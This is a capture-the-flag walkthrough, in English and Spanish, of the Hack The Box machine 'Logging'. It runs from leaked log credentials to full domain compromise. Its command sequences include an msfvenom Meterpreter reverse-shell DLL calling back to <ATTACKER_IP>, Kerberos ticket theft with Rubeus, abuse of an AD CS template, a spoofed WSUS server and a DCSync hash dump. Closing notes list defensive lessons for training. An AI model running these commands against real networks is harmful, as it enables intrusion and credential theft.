Logging
Executive summary — Logging is a Medium Active Directory box centred on WSUS spoofing. With initial credentials we enumerate a share that leaks, in a sync log, a service password that's already been rotated — the log itself reveals the yearly rotation pattern, letting us guess the current one. With Kerberos material we read the managed password of the gMSA
msa_health$(WinRM). From there, a monitoring binary with DLL sideloading over a ZIP in a path writable by theITgroup gives execution asjaylee.clifton(user flag). That account can create DNS records; combined with a misconfigured AD CS template (UpdateSrv) that allows requesting a certificate forwsus.logging.htb, we set up a fake WSUS server the DC trusts as legitimate and uses to addmsa_health$to Domain Admins. From there, DCSync yields Administrator's hash.
| Platform | Hack The Box |
| Operating system | Windows — Domain Controller |
| Domain | logging.htb |
| Difficulty | Medium |
| Status | Retired |
| Initial credentials | wallace.everette / Welcome2026@ |
| Target IP | 10.129.22.233 |
Attack map
[1] Enum SMB (wallace.everette:Welcome2026@) -- share Logs legible
|
[2] IdentitySync_Trace_*.log filtra svc_recovery:Em3rg3ncyPa$$2025 -- YA ROTADA
el propio log insinua el patron de rotacion anual -> Em3rg3ncyPa$$2026 funciona
|
[3] TGT de svc_recovery -- material Kerberos suficiente para leer msDS-ManagedPassword
de la gMSA msa_health$ -> hash NTLM -> WinRM en dc01.logging.htb
|
[4] UpdateMonitor (ACL de escritura para el grupo IT) vigila
C:\ProgramData\UpdateMonitor\Settings_Update.zip -> lo extrae -> carga
settings_update.dll -> invoca PreUpdateCheck (DLL SIDELOADING)
|
[5] ZIP con una DLL maliciosa (msfvenom) -> Meterpreter como jaylee.clifton -> user.txt
|
[6] Rubeus tgtdeleg -- TGT de jaylee.clifton; bloodyAD get writable -> CREATE_CHILD
sobre la zona DNS del dominio
|
[7] Certipy: plantilla UpdateSrv (ADCS) -> cert para wsus.logging.htb ->
bloodyAD crea el A record DNS apuntando al atacante -> wsuks sirve un WSUS falso
firmado con ese cert, forzando "Add-ADGroupMember Domain Admins msa_health$"
|
[8] El DC hace polling de WSUS -> ejecuta el PSExec firmado -> msa_health$ es Domain Admin
+-> secretsdump (DCSync) -> hash de Administrator -> psexec -> root.txt
1. Preparation and reconnaissance
echo "10.129.22.233 dc01.logging.htb logging.htb" | sudo tee -a /etc/hosts
sudo ntpdate dc01.logging.htb
Kerberos is very time-sensitive: without syncing the clock against the DC you get authentication and ticketing errors that are hard to diagnose.
nmap -sC -sV -Pn 10.129.22.233
Typical AD ports (53 DNS, 80 IIS, 88 Kerberos, 389/636 LDAP, 445 SMB, 5985 WinRM): a Windows/Active Directory environment confirmed.
Resumen ejecutivo — Logging es un Medium de Active Directory centrado en WSUS spoofing. Con credenciales iniciales se enumera un share que filtra, en un log de sincronización, una contraseña de servicio ya rotada — el propio log delata el patrón de rotación anual, lo que permite deducir la vigente. Con material Kerberos se lee la contraseña gestionada de la gMSA
msa_health$(WinRM). Desde ahí, un binario de monitorización con DLL sideloading sobre un ZIP en una ruta escribible por el grupoITda ejecución comojaylee.clifton(user flag). Esa cuenta puede crear registros DNS; combinado con una plantilla de AD CS mal configurada (UpdateSrv) que permite pedir un certificado parawsus.logging.htb, se monta un servidor WSUS falso que el DC acepta como legítimo y usa para añadirmsa_health$a Domain Admins. Desde ahí, DCSync da el hash de Administrator.
| Plataforma | Hack The Box |
| Sistema operativo | Windows — Domain Controller |
| Dominio | logging.htb |
| Dificultad | Medium |
| Estado | Retired |
| Credenciales iniciales | wallace.everette / Welcome2026@ |
| IP objetivo | 10.129.22.233 |
Mapa del ataque
[1] Enum SMB (wallace.everette:Welcome2026@) -- share Logs legible
|
[2] IdentitySync_Trace_*.log filtra svc_recovery:Em3rg3ncyPa$$2025 -- YA ROTADA
el propio log insinua el patron de rotacion anual -> Em3rg3ncyPa$$2026 funciona
|
[3] TGT de svc_recovery -- material Kerberos suficiente para leer msDS-ManagedPassword
de la gMSA msa_health$ -> hash NTLM -> WinRM en dc01.logging.htb
|
[4] UpdateMonitor (ACL de escritura para el grupo IT) vigila
C:\ProgramData\UpdateMonitor\Settings_Update.zip -> lo extrae -> carga
settings_update.dll -> invoca PreUpdateCheck (DLL SIDELOADING)
|
[5] ZIP con una DLL maliciosa (msfvenom) -> Meterpreter como jaylee.clifton -> user.txt
|
[6] Rubeus tgtdeleg -- TGT de jaylee.clifton; bloodyAD get writable -> CREATE_CHILD
sobre la zona DNS del dominio
|
[7] Certipy: plantilla UpdateSrv (ADCS) -> cert para wsus.logging.htb ->
bloodyAD crea el A record DNS apuntando al atacante -> wsuks sirve un WSUS falso
firmado con ese cert, forzando "Add-ADGroupMember Domain Admins msa_health$"
|
[8] El DC hace polling de WSUS -> ejecuta el PSExec firmado -> msa_health$ es Domain Admin
+-> secretsdump (DCSync) -> hash de Administrator -> psexec -> root.txt
1. Preparación y reconocimiento
echo "10.129.22.233 dc01.logging.htb logging.htb" | sudo tee -a /etc/hosts
sudo ntpdate dc01.logging.htb
Kerberos depende mucho de la hora: sin sincronizar el reloj con el DC aparecen errores de autenticación y de ticketing difíciles de diagnosticar.
nmap -sC -sV -Pn 10.129.22.233
Puertos típicos de AD (53 DNS, 80 IIS, 88 Kerberos, 389/636 LDAP, 445 SMB, 5985 WinRM): entorno Windows/Active Directory confirmado.
2. SMB enumeration and credentials leaked in logs
nxc smb logging.htb -u 'wallace.everette' -p 'Welcome2026@' -M spider_plus
Readable shares: Logs, NETLOGON, SYSVOL. We download Logs's content:
smbclient //logging.htb/Logs \
-U 'LOGGING/wallace.everette%Welcome2026@' \
-c 'recurse ON; prompt OFF; mget *'
The most relevant one is an identity-sync log:
cat IdentitySync_Trace_20260219.log
LOGGING\svc_recovery
Em3rg3ncyPa$$2025
The log itself later shows subsequent LDAP errors indicating that password is no longer valid — a sign it was rotated. The pattern (password with the year embedded) suggests trying the updated variant:
getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026'
[*] Saving ticket in svc_recovery.ccache
export KRB5CCNAME=svc_recovery.ccache
klist
3. Moving towards msa_health$ (gMSA)
With svc_recovery's Kerberos access we obtain the material needed to read msDS-ManagedPassword for the machine/gMSA account msa_health$, whose NTLM hash works directly over WinRM:
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
whoami
# logging\msa_health$
4. Enumeration from msa_health$ — discovering UpdateMonitor
dir C:\Users
An interesting user shows up: jaylee.clifton. Checking installed software:
icacls "C:\Program Files\UpdateMonitor"
icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
The important hint: the
logging\ITgroup has control over that software.
icacls "C:\ProgramData\UpdateMonitor"
type C:\ProgramData\UpdateMonitor\Logs\monitor.log -Tail 20
The binary's behaviour, deduced from reversing and the log, is: it watches C:\ProgramData\UpdateMonitor\Settings_Update.zip, extracts the ZIP to C:\Program Files\UpdateMonitor\bin\, loads settings_update.dll from there, and calls its PreUpdateCheck function.
5. Escalating to jaylee.clifton — DLL sideloading
We generate a malicious DLL and package it under the exact name UpdateMonitor loads:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o settings_update.dll
zip -j Settings_Update.zip settings_update.dll
The ZIP must contain only
settings_update.dll— verify withunzip -lbefore uploading.
cd C:\ProgramData\UpdateMonitor
Remove-Item .\Settings_Update.zip -Force -ErrorAction SilentlyContinue
upload Settings_Update.zip
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 443
run
When the monitoring process handles the ZIP and loads the DLL, a Meterpreter session arrives as jaylee.clifton.
shell
type C:\Users\jaylee.clifton\Desktop\user.txt
6. Stealing jaylee.clifton's TGT and finding the DNS abuse
upload Rubeus.exe C:\ProgramData\Rubeus.exe
shell
cd C:\ProgramData
Rubeus.exe triage
triage confirms a cached TGT for jaylee.clifton exists in this session before attempting to extract it.
Instead of dumping LSASS (noisy and flagged by virtually every EDR),
Rubeus.exe tgtdelegabuses the Kerberos delegation mechanism itself via SSPI (a service request to itself) so the KDC is the one that hands back a complete, reusable TGT for the current user — never touching LSASS memory.
Rubeus.exe tgtdeleg /nowrap
echo -n 'FULL_BASE64' | base64 -d > jaylee.kirbi
ticketConverter.py jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache
klist
bloodyAD -H dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k get writable
DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
permission: CREATE_CHILD
jaylee.cliftoncan create DNS records in the domain zone — the missing piece to make a fake WSUS server believable.
7. Abusing AD CS to impersonate WSUS
certipy req \
-u 'jaylee.clifton@logging.htb' -k \
-target dc01.logging.htb -dc-ip 10.129.22.233 \
-ca 'logging-DC01-CA' -template 'UpdateSrv' -dns 'wsus.logging.htb'
The
UpdateSrvtemplate allows requesting a certificate with an arbitrary SAN (-dns), including a hostname we don't own:wsus.logging.htb. That certificate is what makes a WSUS client trust our fake server.
certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem
We create the DNS record pointing that hostname at us, using the CREATE_CHILD right found earlier:
bloodyAD -H dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k \
add dnsRecord wsus.logging.htb <ATTACKER_IP>
nslookup wsus.logging.htb 10.129.22.233
# Address: <ATTACKER_IP>
echo "<ATTACKER_IP> wsus.logging.htb" | sudo tee -a /etc/hosts
8. Malicious WSUS server and domain takeover
With wsuks we spin up a fake WSUS server, signed with the wsus.logging.htb certificate, that instructs the DC's WSUS client to add msa_health$ to Domain Admins via a signed PSExec64.exe:
wsuks --serve-only --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 \
-c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember \
-Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'
How the WSUS spoofing attack works: domain-joined WSUS clients trust the update server announced by GPO/DNS and run, as SYSTEM, whatever that server tells them to install. A fake WSUS server with a valid certificate for the expected hostname can push any signed executable — here, one that adds our controlled account to Domain Admins.
When the DC does its next WSUS polling cycle, the wsuks console shows the accepted requests and the binary's download/execution:
Received POST request: /ClientWebService/client.asmx ...
Received GET request: /.../PsExec64.exe
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
whoami /groups
# logging\Domain Admins
With msa_health$ now in Domain Admins, we dump the NTDS via DCSync — note the machine account's $ must be quoted so Bash doesn't interpret it as a variable:
secretsdump.py -hashes :603fc24ee01a9409f83c9d1d701485c5 'logging.htb/msa_health$@dc01.logging.htb'
Administrator:500:...:a0c1d1bed9126632f5f1f2b3f790bdb5
getTGT.py logging.htb/Administrator -hashes ':a0c1d1bed9126632f5f1f2b3f790bdb5'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'LOGGING.HTB/Administrator@dc01.logging.htb'
whoami
# nt authority\system
type C:\Users\Administrator\Desktop\root.txt
Domain fully compromised. 🏴☠️
Attack chain summary
| # | Step |
|---|---|
| 1 | SMB enumeration with initial credentials |
| 2 | Stale credential in a log, year-rotated → current variant |
| 3 | svc_recovery's TGT → gMSA msa_health$ NTLM hash → WinRM |
| 4 | Discovering UpdateMonitor and its watched ZIP |
| 5 | DLL sideloading → Meterpreter as jaylee.clifton → user.txt |
| 6 | Rubeus tgtdeleg → CREATE_CHILD over the DNS zone |
| 7 | AD CS UpdateSrv template → cert for wsus.logging.htb + DNS record |
| 8 | Fake WSUS (wsuks) → msa_health$ to Domain Admins → DCSync → root.txt |
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Logs share | Cleartext service credential in a log | Kerberos starting point (svc_recovery) |
| Lateral | gMSA msa_health$ | Kerberos material sufficient to read msDS-ManagedPassword | WinRM on the DC |
| Lateral | UpdateMonitor | DLL loaded from a path writable by the IT group | Execution as jaylee.clifton |
| PrivEsc | AD CS (UpdateSrv) + DNS CREATE_CHILD | Arbitrary-SAN certificate + self-created DNS record | WSUS impersonation |
| PrivEsc | WSUS spoofing | The DC runs as SYSTEM whatever a «valid» WSUS tells it | Domain Admin |
Lessons learned
- Never leave credentials in logs, not even rotated ones: they reveal the rotation pattern, which is often guessable.
- gMSA: tightly restrict who can read
msDS-ManagedPassword— whoever can read it has the hash. - DLL sideloading: no application should load DLLs from paths writable by non-admin groups — validate signature and origin.
- AD CS templates with a free SAN (
UpdateSrvhere) let you impersonate any internal TLS service; restrict which principals can request an arbitrary SAN. - WSUS spoofing: deploy WSUS only over HTTPS with the correct certificate pinned, and limit who can create DNS records in the internal zone — that's the piece that makes a fake server believable.
2. Enumeración SMB y credenciales filtradas en logs
nxc smb logging.htb -u 'wallace.everette' -p 'Welcome2026@' -M spider_plus
Shares legibles: Logs, NETLOGON, SYSVOL. Descargamos el contenido de Logs:
smbclient //logging.htb/Logs \
-U 'LOGGING/wallace.everette%Welcome2026@' \
-c 'recurse ON; prompt OFF; mget *'
El más relevante es un log de sincronización de identidades:
cat IdentitySync_Trace_20260219.log
LOGGING\svc_recovery
Em3rg3ncyPa$$2025
El propio log deja ver, más adelante, errores LDAP posteriores que indican que esa contraseña ya no es válida — señal de que fue rotada. El patrón (contraseña con el año incrustado) sugiere probar la variante actualizada:
getTGT.py 'LOGGING.HTB/svc_recovery:Em3rg3ncyPa$$2026'
[*] Saving ticket in svc_recovery.ccache
export KRB5CCNAME=svc_recovery.ccache
klist
3. Movimiento hacia msa_health$ (gMSA)
Con el acceso Kerberos de svc_recovery se obtiene el material necesario para leer msDS-ManagedPassword de la cuenta de máquina/gMSA msa_health$, cuyo hash NTLM sirve directamente para WinRM:
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
whoami
# logging\msa_health$
4. Enumeración desde msa_health$ — descubrimiento de UpdateMonitor
dir C:\Users
Aparece un usuario interesante: jaylee.clifton. Revisando el software instalado:
icacls "C:\Program Files\UpdateMonitor"
icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
La pista importante: el grupo
logging\ITtiene control sobre ese software.
icacls "C:\ProgramData\UpdateMonitor"
type C:\ProgramData\UpdateMonitor\Logs\monitor.log -Tail 20
El comportamiento del binario, deducido por reversing y por el log, es: vigila C:\ProgramData\UpdateMonitor\Settings_Update.zip, extrae el ZIP a C:\Program Files\UpdateMonitor\bin\, carga settings_update.dll desde ahí, e invoca su función PreUpdateCheck.
5. Escalada a jaylee.clifton — DLL sideloading
Generamos una DLL maliciosa y la empaquetamos con el nombre exacto que UpdateMonitor carga:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o settings_update.dll
zip -j Settings_Update.zip settings_update.dll
El ZIP debe contener únicamente
settings_update.dll— comprobar conunzip -lantes de subir.
cd C:\ProgramData\UpdateMonitor
Remove-Item .\Settings_Update.zip -Force -ErrorAction SilentlyContinue
upload Settings_Update.zip
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 443
run
Cuando el proceso de monitorización procesa el ZIP y carga la DLL, se recibe una sesión Meterpreter como jaylee.clifton.
shell
type C:\Users\jaylee.clifton\Desktop\user.txt
6. Robo del TGT de jaylee.clifton y descubrimiento del abuso DNS
upload Rubeus.exe C:\ProgramData\Rubeus.exe
shell
cd C:\ProgramData
Rubeus.exe triage
triage confirma que hay un TGT de jaylee.clifton en caché en esta sesión antes de intentar extraerlo.
En vez de volcar LSASS (ruidoso y detectado por prácticamente cualquier EDR),
Rubeus.exe tgtdelegabusa del propio mecanismo de delegación Kerberos vía SSPI (una petición de servicio a uno mismo) para que sea el KDC quien entregue un TGT completo y reutilizable del usuario actual, sin tocar la memoria de LSASS en ningún momento.
Rubeus.exe tgtdeleg /nowrap
echo -n 'BASE64_COMPLETO' | base64 -d > jaylee.kirbi
ticketConverter.py jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache
klist
bloodyAD -H dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k get writable
DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
permission: CREATE_CHILD
jaylee.cliftonpuede crear registros DNS en la zona del dominio — la pieza que faltaba para hacer creíble un servidor WSUS falso.
7. Abuso de AD CS para suplantar WSUS
certipy req \
-u 'jaylee.clifton@logging.htb' -k \
-target dc01.logging.htb -dc-ip 10.129.22.233 \
-ca 'logging-DC01-CA' -template 'UpdateSrv' -dns 'wsus.logging.htb'
La plantilla
UpdateSrvpermite pedir un certificado con un SAN arbitrario (-dns), incluyendo un hostname que no nos pertenece:wsus.logging.htb. Ese certificado es lo que va a hacer que un cliente WSUS confíe en nuestro servidor falso.
certipy cert -pfx wsus.pfx -nokey -out wsus.crt
certipy cert -pfx wsus.pfx -nocert -out wsus.key
cat wsus.crt wsus.key > wsus.pem
Creamos el registro DNS que apunta ese hostname a nuestra IP, usando el CREATE_CHILD descubierto:
bloodyAD -H dc01.logging.htb -d logging.htb -u 'jaylee.clifton' -k \
add dnsRecord wsus.logging.htb <ATTACKER_IP>
nslookup wsus.logging.htb 10.129.22.233
# Address: <ATTACKER_IP>
echo "<ATTACKER_IP> wsus.logging.htb" | sudo tee -a /etc/hosts
8. Servidor WSUS malicioso y toma del dominio
Con wsuks se levanta un servidor WSUS falso, firmado con el certificado de wsus.logging.htb, que instruye al cliente WSUS del DC a añadir msa_health$ a Domain Admins mediante un PSExec64.exe firmado:
wsuks --serve-only --WSUS-Server wsus.logging.htb --tls-cert wsus.pem -I tun0 \
-c '/accepteula /s powershell.exe -ExecutionPolicy Bypass -Command "Add-ADGroupMember \
-Identity \"Domain Admins\" -Members \"MSA_HEALTH$\""'
Cómo funciona el ataque WSUS spoofing: los clientes WSUS de dominio confían en el servidor de actualizaciones anunciado por GPO/DNS y ejecutan como SYSTEM lo que ese servidor les indique instalar. Un WSUS falso con un certificado válido para el hostname esperado puede empujar cualquier ejecutable firmado — aquí, uno que añade nuestra cuenta controlada a Domain Admins.
Cuando el DC hace su siguiente ciclo de polling contra WSUS, la consola de wsuks muestra las peticiones aceptadas y la descarga/ejecución del binario:
Received POST request: /ClientWebService/client.asmx ...
Received GET request: /.../PsExec64.exe
evil-winrm -i dc01.logging.htb -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5
whoami /groups
# logging\Domain Admins
Con msa_health$ ya en Domain Admins, volcamos el NTDS vía DCSync — nótese que el $ de la cuenta de máquina debe ir entre comillas para que Bash no lo interprete como variable:
secretsdump.py -hashes :603fc24ee01a9409f83c9d1d701485c5 'logging.htb/msa_health$@dc01.logging.htb'
Administrator:500:...:a0c1d1bed9126632f5f1f2b3f790bdb5
getTGT.py logging.htb/Administrator -hashes ':a0c1d1bed9126632f5f1f2b3f790bdb5'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'LOGGING.HTB/Administrator@dc01.logging.htb'
whoami
# nt authority\system
type C:\Users\Administrator\Desktop\root.txt
Dominio comprometido por completo. 🏴☠️
Resumen de la cadena de ataque
| # | Paso |
|---|---|
| 1 | Enumeración SMB con credenciales iniciales |
| 2 | Credencial antigua en un log, rotada por año → variante actual |
| 3 | TGT de svc_recovery → hash NTLM de la gMSA msa_health$ → WinRM |
| 4 | Descubrimiento de UpdateMonitor y su ZIP vigilado |
| 5 | DLL sideloading → Meterpreter como jaylee.clifton → user.txt |
| 6 | Rubeus tgtdeleg → CREATE_CHILD sobre la zona DNS |
| 7 | Plantilla AD CS UpdateSrv → certificado para wsus.logging.htb + registro DNS |
| 8 | WSUS falso (wsuks) → msa_health$ a Domain Admins → DCSync → root.txt |
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Share Logs | Credencial de servicio en texto claro en un log | Punto de partida Kerberos (svc_recovery) |
| Lateral | gMSA msa_health$ | Material Kerberos suficiente para leer msDS-ManagedPassword | WinRM en el DC |
| Lateral | UpdateMonitor | Carga de DLL desde una ruta escribible por el grupo IT | Ejecución como jaylee.clifton |
| PrivEsc | AD CS (UpdateSrv) + DNS CREATE_CHILD | Certificado con SAN arbitrario + registro DNS propio | Suplantación de WSUS |
| PrivEsc | WSUS spoofing | El DC ejecuta como SYSTEM lo que indica un WSUS «válido» | Domain Admin |
Lecciones aprendidas
- Nunca dejes credenciales en logs, ni siquiera rotadas: revelan el patrón de rotación, que a menudo es adivinable.
- gMSA: restringe estrictamente quién puede leer
msDS-ManagedPassword; quien lo lea tiene el hash. - DLL sideloading: ninguna aplicación debería cargar DLLs desde rutas escribibles por grupos no administrativos — validar la firma y el origen.
- Plantillas de AD CS con SAN libre (
UpdateSrvaquí) permiten suplantar cualquier servicio interno con TLS; restringe qué principals pueden pedir SAN arbitrario. - WSUS spoofing: despliega WSUS solo sobre HTTPS con el certificado correcto anclado (pinning), y limita quién puede crear registros DNS en la zona interna — es la pieza que hace creíble un servidor falso.